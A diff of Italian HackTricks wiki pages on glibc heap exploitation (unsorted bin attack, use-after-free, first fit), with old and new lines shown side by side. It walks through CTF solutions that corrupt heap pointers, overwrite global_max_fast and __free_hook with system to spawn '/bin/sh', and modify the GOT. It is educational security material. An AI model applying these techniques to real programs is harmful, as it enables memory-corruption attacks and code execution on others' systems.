Dando un'occhiata all'esempio fornito in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e utilizzando 0x4000 e 0x5000 invece di 0x400 e 0x500 come dimensioni dei chunk (per evitare Tcache) è possibile vedere che **oggi** l'errore **`malloc(): unsorted double linked list corrupted`** viene attivato. Guardando l'esempio fornito in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e utilizzando 0x4000 e 0x5000 invece di 0x400 e 0x500 come dimensioni dei chunk (per evitare Tcache) è possibile vedere che **oggi** l'errore **`malloc(): unsorted double linked list corrupted`** viene attivato.
Pertanto, questo attacco al bin non ordinato ora (tra altri controlli) richiede anche di essere in grado di correggere la lista doppiamente collegata in modo che questo venga bypassato `victim->bk->fd == victim` o no `victim->fd == av (arena)`, il che significa che l'indirizzo dove vogliamo scrivere deve avere l'indirizzo del chunk falso nella sua posizione `fd` e che il `fd` del chunk falso punti all'arena. Pertanto, questo attacco al bin non ordinato ora (tra gli altri controlli) richiede anche di essere in grado di correggere la lista doppiamente collegata in modo che questo venga bypassato `victim->bk->fd == victim` o no `victim->fd == av (arena)`, il che significa che l'indirizzo in cui vogliamo scrivere deve avere l'indirizzo del chunk falso nella sua posizione `fd` e che il `fd` del chunk falso punti all'arena.
{% endhint %} {% endhint %}
{% hint style="danger" %} {% hint style="danger" %}
@ -38,32 +39,32 @@ Nota che questo attacco corrompe il bin non ordinato (quindi anche quello piccol
Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il bin veloce sarà in grado di gestire tutte le altre allocazioni fino al completamento dell'exploit. Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il bin veloce sarà in grado di gestire tutte le altre allocazioni fino al completamento dell'exploit.
{% endhint %} {% endhint %}
Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) lo spiega molto bene, anche se se si modificano le malloc per allocare memoria sufficientemente grande in modo che non finisca in un Tcache, si può vedere che compare l'errore precedentemente menzionato che impedisce questa tecnica: **`malloc(): unsorted double linked list corrupted`** Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) lo spiega molto bene, anche se se si modificano le malloc per allocare memoria sufficientemente grande in modo che non finisca in un Tcache, è possibile vedere che compare l'errore precedentemente menzionato che impedisce questa tecnica: **`malloc(): unsorted double linked list corrupted`**
## Attacco Unsorted Bin Infoleak ## Attacco di Infoleak al Bin non ordinato
Questo è in realtà un concetto molto basilare. I chunk nel bin non ordinato avranno dei puntatori. Il primo chunk nel bin non ordinato avrà effettivamente i collegamenti **`fd`** e **`bk`** **che puntano a una parte dell'arena principale (Glibc)**.\ Questo è in realtà un concetto molto basilare. I chunk nel bin non ordinato avranno dei puntatori. Il primo chunk nel bin non ordinato avrà effettivamente i collegamenti **`fd`** e **`bk`** **che puntano a una parte dell'arena principale (Glibc)**.\
Pertanto, se puoi **mettere un chunk all'interno di un bin non ordinato e leggerlo** (uso dopo la liberazione) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **leak di informazioni di Glibc**. Pertanto, se puoi **mettere un chunk all'interno di un bin non ordinato e leggerlo** (uso dopo la liberazione) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **info leak di Glibc**.
Un [**attacco simile usato in questo writeup**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), è stato quello di abusare di una struttura a 4 chunk (A, B, C e D - D serve solo per evitare la consolidazione con il chunk superiore) in modo che un overflow di byte nullo in B fosse usato per far sì che C indicasse che B non era utilizzato. Inoltre, in B è stata modificata la data `prev_size` in modo che la dimensione anziché essere la dimensione di B fosse A+B.\ Un [**attacco simile usato in questo writeup**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), è stato quello di abusare di una struttura a 4 chunk (A, B, C e D - D serve solo per evitare la consolidazione con il chunk superiore) in modo che un overflow di byte nullo in B fosse utilizzato per far sì che C indicasse che B non era utilizzato. Inoltre, in B è stata modificata la data `prev_size` in modo che la dimensione anziché essere la dimensione di B fosse A+B.\
Quindi C è stata deallocata e consolidata con A+B (ma B era ancora in uso). È stato allocato un nuovo chunk di dimensione A e quindi gli indirizzi di Glibc leakati sono stati scritti in B da dove sono stati leakati. Quindi C è stata deallocata e consolidata con A+B (ma B era ancora in uso). È stato allocato un nuovo chunk di dimensione A e quindi gli indirizzi leaked di libc sono stati scritti in B da dove sono stati leaked.
## Riferimenti e Altri Esempi ## Riferimenti e Altri esempi
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap) * [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
* L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere il flag e PIE non è abilitato. * L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere il flag e PIE non è abilitato.
* È possibile generare chunk di dimensioni arbitrarie e c'è un overflow di heap con la dimensione desiderata. * È possibile generare chunk di dimensioni arbitrarie e c'è un heap overflow con la dimensione desiderata.
* L'attacco inizia creando 3 chunk: chunk0 per sfruttare l'overflow, chunk1 per essere sovrascritto e chunk2 in modo che il chunk superiore non consolidi quelli precedenti. * L'attacco inizia creando 3 chunk: chunk0 per sfruttare l'overflow, chunk1 per essere overflowed e chunk2 in modo che il chunk superiore non consolidi quelli precedenti.
* Quindi, chunk1 viene liberato e chunk0 viene sovrascritto in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10` * Quindi, chunk1 viene liberato e chunk0 viene overflowed in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10`
* Quindi, chunk3 viene allocato con la stessa dimensione di chunk1, il che attiverà l'attacco al bin non ordinato e modificherà il valore della variabile globale, rendendo possibile ottenere il flag. * Successivamente, chunk3 viene allocato con la stessa dimensione di chunk1, il che attiverà l'attacco al bin non ordinato e modificherà il valore della variabile globale, rendendo possibile ottenere il flag.
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html) * [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
* La funzione di merge è vulnerabile perché se entrambi gli indici passati sono gli stessi, realloc su di esso e quindi lo libera ma restituisce un puntatore a quella regione liberata che può essere utilizzato. * La funzione di merge è vulnerabile perché se entrambi gli indici passati sono gli stessi, reallocerà su di esso e quindi lo libererà ma restituendo un puntatore a quella regione liberata che può essere utilizzato.
* Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà unito con se stesso e chunk1 per evitare la consolidazione con il chunk superiore. Quindi, la **funzione di merge viene chiamata con chunk0** due volte, il che causerà un uso dopo la liberazione. * Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà unito con se stesso e chunk1 per evitare la consolidazione con il chunk superiore. Quindi, la **funzione di merge viene chiamata con chunk0** due volte, causando un uso dopo la liberazione.
* Quindi, la funzione **`view`** viene chiamata con l'indice 2 (che è l'indice del chunk uso dopo la liberazione), che **farà trapelare un indirizzo di libc**. * Quindi, la funzione **`view`** viene chiamata con l'indice 2 (che è l'indice del chunk uso dopo la liberazione), che **farà trapelare un indirizzo di libc**.
* Poiché il binario ha protezioni per allocare solo dimensioni maggiori di **`global_max_fast`** quindi nessun fastbin viene utilizzato, verrà utilizzato un attacco al bin non ordinato per sovrascrivere la variabile globale `global_max_fast`. * Poiché il binario ha protezioni per allocare solo dimensioni maggiori di **`global_max_fast`** in modo che non venga utilizzato alcun fastbin, verrà utilizzato un attacco al bin non ordinato per sovrascrivere la variabile globale `global_max_fast`.
* Quindi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore uso dopo la liberazione) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Quindi, creando un nuovo chunk userà l'indirizzo di free compromesso in precedenza (0x20) attiverà l'attacco al bin non ordinato sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei bin veloci. * Quindi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore uso dopo la liberazione) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Quindi, creando un nuovo chunk userà l'indirizzo di free compromesso in precedenza (0x20) attiverà l'attacco al bin non ordinato sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei bin veloci.
* Ora viene eseguito un **attacco al fast bin**: * Ora viene eseguito un **attacco al bin veloce**:
* Prima di tutto si scopre che è possibile lavorare con **chunk veloci di dimensione 200** nella posizione di **`__free_hook`**: * Prima di tutto è stato scoperto che è possibile lavorare con **chunk veloci di dimensione 200** nella posizione di **`__free_hook`**:
* <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook * <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook> $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -74,26 +75,27 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
</code></pre> </code></pre>
* Se riusciamo a ottenere un chunk veloce di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito * Se riusciamo a ottenere un chunk veloce di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito
* Per fare ciò, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin. * Per fare ciò, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
* Successivamente, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla funzione **`__free_hook`** precedente. * Successivamente, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla funzione precedente **`__free_hook`**.
* Quindi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk inutile precedente, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. * Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk inutile precedente, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
* Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. * Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Un altro esempio di abuso di un overflow di 1B per consolidare i chunk nel unsorted bin e ottenere un infoleak della libc e quindi eseguire un attacco fast bin per sovrascrivere il hook di malloc con un indirizzo one gadget * Un altro esempio di abuso di un overflow di 1B per consolidare i chunk nel bin non ordinato e ottenere un infoleak della libc e quindi eseguire un attacco al fast bin per sovrascrivere il hook di allocazione con un indirizzo one gadget
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) * [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Possiamo allocare solo chunk di dimensione maggiore di `0x100`. * Possiamo allocare solo chunk di dimensione maggiore di `0x100`.
* Sovrascrivere `global_max_fast` utilizzando un attacco Unsorted Bin (funziona 1/16 volte a causa di ASLR, poiché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit). * Sovrascrivere `global_max_fast` utilizzando un attacco al Unsorted Bin (funziona 1/16 volte a causa di ASLR, poiché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit).
* Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce un primitivo di lettura/scrittura arbitrario, che consente di modificare il GOT e impostare alcune funzioni per puntare a `system`. * Attacco al Fast Bin per modificare un array globale di chunk. Questo fornisce un primitivo di lettura/scrittura arbitrario, che consente di modificare il GOT e impostare alcune funzioni per puntare a `system`.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Uso dopo la liberazione # Uso dopo la liberazione
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Informazioni di base ## Informazioni di base
@ -29,16 +30,17 @@ Controlla ulteriori informazioni in:
[first-fit.md](first-fit.md) [first-fit.md](first-fit.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# First Fit # First Fit
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) nei repository di Github.
</details> </details>
{% endhint %}
## **First Fit** ## **First Fit**
Quando liberi la memoria in un programma che utilizza glibc, vengono utilizzati diversi "bin" per gestire i blocchi di memoria. Ecco una spiegazione semplificata di due scenari comuni: i bin non ordinati e i fastbins. Quando liberi la memoria in un programma che utilizza glibc, vengono utilizzati diversi "bin" per gestire i blocchi di memoria. Ecco una spiegazione semplificata di due scenari comuni: unsorted bins e fastbins.
### Bin Non Ordinati ### Unsorted Bins
Quando liberi un blocco di memoria che non è un blocco veloce, va al bin non ordinato. Questo bin funziona come una lista in cui i nuovi blocchi liberati vengono aggiunti all'inizio (la "testa"). Quando richiedi un nuovo blocco di memoria, l'allocatore guarda il bin non ordinato dalla fine (la "coda") per trovare un blocco abbastanza grande. Se un blocco dal bin non ordinato è più grande di quanto necessiti, viene diviso, con la parte anteriore restituita e la parte rimanente che rimane nel bin. Quando liberi un blocco di memoria che non è un blocco veloce, va al bin non ordinato. Questo bin funziona come una lista in cui i nuovi blocchi liberati vengono aggiunti all'inizio (la "testa"). Quando richiedi un nuovo blocco di memoria, l'allocatore guarda il bin non ordinato dalla fine (la "coda") per trovare un blocco abbastanza grande. Se un blocco dal bin non ordinato è più grande di quanto necessiti, viene diviso, con la parte anteriore restituita e la parte rimanente che rimane nel bin.
Esempio: Esempio:
* Alloci 300 byte (`a`), quindi 250 byte (`b`), liberi `a` e richiedi di nuovo 250 byte (`c`). * Alloci 300 byte (`a`), poi 250 byte (`b`), liberi `a` e richiedi di nuovo 250 byte (`c`).
* Quando liberi `a`, va al bin non ordinato. * Quando liberi `a`, va al bin non ordinato.
* Se successivamente richiedi di nuovo 250 byte, l'allocatore trova `a` in coda e lo divide, restituendo la parte che soddisfa la tua richiesta e mantenendo il resto nel bin. * Se successivamente richiedi di nuovo 250 byte, l'allocatore trova `a` in coda e lo divide, restituendo la parte che soddisfa la tua richiesta e mantenendo il resto nel bin.
* `c` punterà al precedente `a` e sarà riempito con i dati di `a`. * `c` punterà al precedente `a` e sarà riempito con i dati di `a`.
@ -36,11 +37,11 @@ char *c = malloc(250);
``` ```
### Fastbins ### Fastbins
I fastbins vengono utilizzati per piccoli blocchi di memoria. A differenza dei blocchi non ordinati, i fastbins aggiungono nuovi blocchi all'inizio, creando un comportamento di tipo last-in-first-out (LIFO). Se richiedi un piccolo blocco di memoria, l'allocatore preleverà dalla testa del fastbin. I fastbins sono utilizzati per piccoli blocchi di memoria. A differenza dei blocchi non ordinati, i fastbins aggiungono nuovi blocchi all'inizio, creando un comportamento di tipo last-in-first-out (LIFO). Se richiedi un piccolo blocco di memoria, l'allocatore preleverà dalla testa del fastbin.
Esempio: Esempio:
* Alloci quattro blocchi di 20 byte ciascuno (`a`, `b`, `c`, `d`). * Alloci quattro blocchi da 20 byte ciascuno (`a`, `b`, `c`, `d`).
* Quando li liberi in qualsiasi ordine, i blocchi liberati vengono aggiunti alla testa del fastbin. * Quando li liberi in qualsiasi ordine, i blocchi liberati vengono aggiunti alla testa del fastbin.
* Se successivamente richiedi un blocco da 20 byte, l'allocatore restituirà il blocco liberato più di recente dalla testa del fastbin. * Se successivamente richiedi un blocco da 20 byte, l'allocatore restituirà il blocco liberato più di recente dalla testa del fastbin.
```c ```c
@ -64,9 +65,9 @@ d = malloc(20); // a
* ARM64. Uso dopo la liberazione: Generare un oggetto utente, liberarlo, generare un oggetto che ottiene il chunk liberato e consente di scriverci sopra, **sovrascrivendo la posizione di user->password** da quello precedente. Riutilizzare l'utente per **bypassare il controllo della password** * ARM64. Uso dopo la liberazione: Generare un oggetto utente, liberarlo, generare un oggetto che ottiene il chunk liberato e consente di scriverci sopra, **sovrascrivendo la posizione di user->password** da quello precedente. Riutilizzare l'utente per **bypassare il controllo della password**
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example) * [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example)
* Il programma consente di creare note. Una nota avrà le informazioni della nota in un malloc(8) (con un puntatore a una funzione che potrebbe essere chiamata) e un puntatore a un altro malloc(\<size>) con il contenuto della nota. * Il programma consente di creare note. Una nota avrà le informazioni della nota in un malloc(8) (con un puntatore a una funzione che potrebbe essere chiamata) e un puntatore a un altro malloc(\<size>) con il contenuto della nota.
* L'attacco consisterebbe nel creare 2 note (nota0 e nota1) con contenuti malloc più grandi della dimensione delle informazioni della nota e poi liberarle in modo che entrino nel fast bin (o tcache). * L'attacco consisterebbe nel creare 2 note (nota0 e nota1) con contenuti malloc più grandi della dimensione delle informazioni della nota e quindi liberarle in modo che entrino nel fast bin (o tcache).
* Successivamente, creare un'altra nota (nota2) con dimensione del contenuto 8. Il contenuto sarà nella nota1 poiché il chunk verrà riutilizzato, dove potremmo modificare il puntatore della funzione per puntare alla funzione di vittoria e quindi Usare-Dopo-Liberazione la nota1 per chiamare il nuovo puntatore della funzione. * Successivamente, creare un'altra nota (nota2) con dimensione del contenuto 8. Il contenuto sarà nella nota1 poiché il chunk verrà riutilizzato, dove potremmo modificare il puntatore della funzione per puntare alla funzione win e quindi Usare-Dopo-Liberazione la nota1 per chiamare il nuovo puntatore della funzione.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html) * [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html)
* È possibile allocare della memoria, scrivere il valore desiderato, liberarla, reallocarla e poiché i dati precedenti sono ancora lì, verranno trattati secondo la nuova struttura prevista nel chunk, rendendo possibile impostare il valore per ottenere la flag. * È possibile allocare della memoria, scrivere il valore desiderato, liberarla, reallocarla e poiché i dati precedenti sono ancora lì, verranno trattati secondo la nuova struttura prevista nel chunk, rendendo possibile impostare il valore o ottenere la flag.
* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html) * [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html)
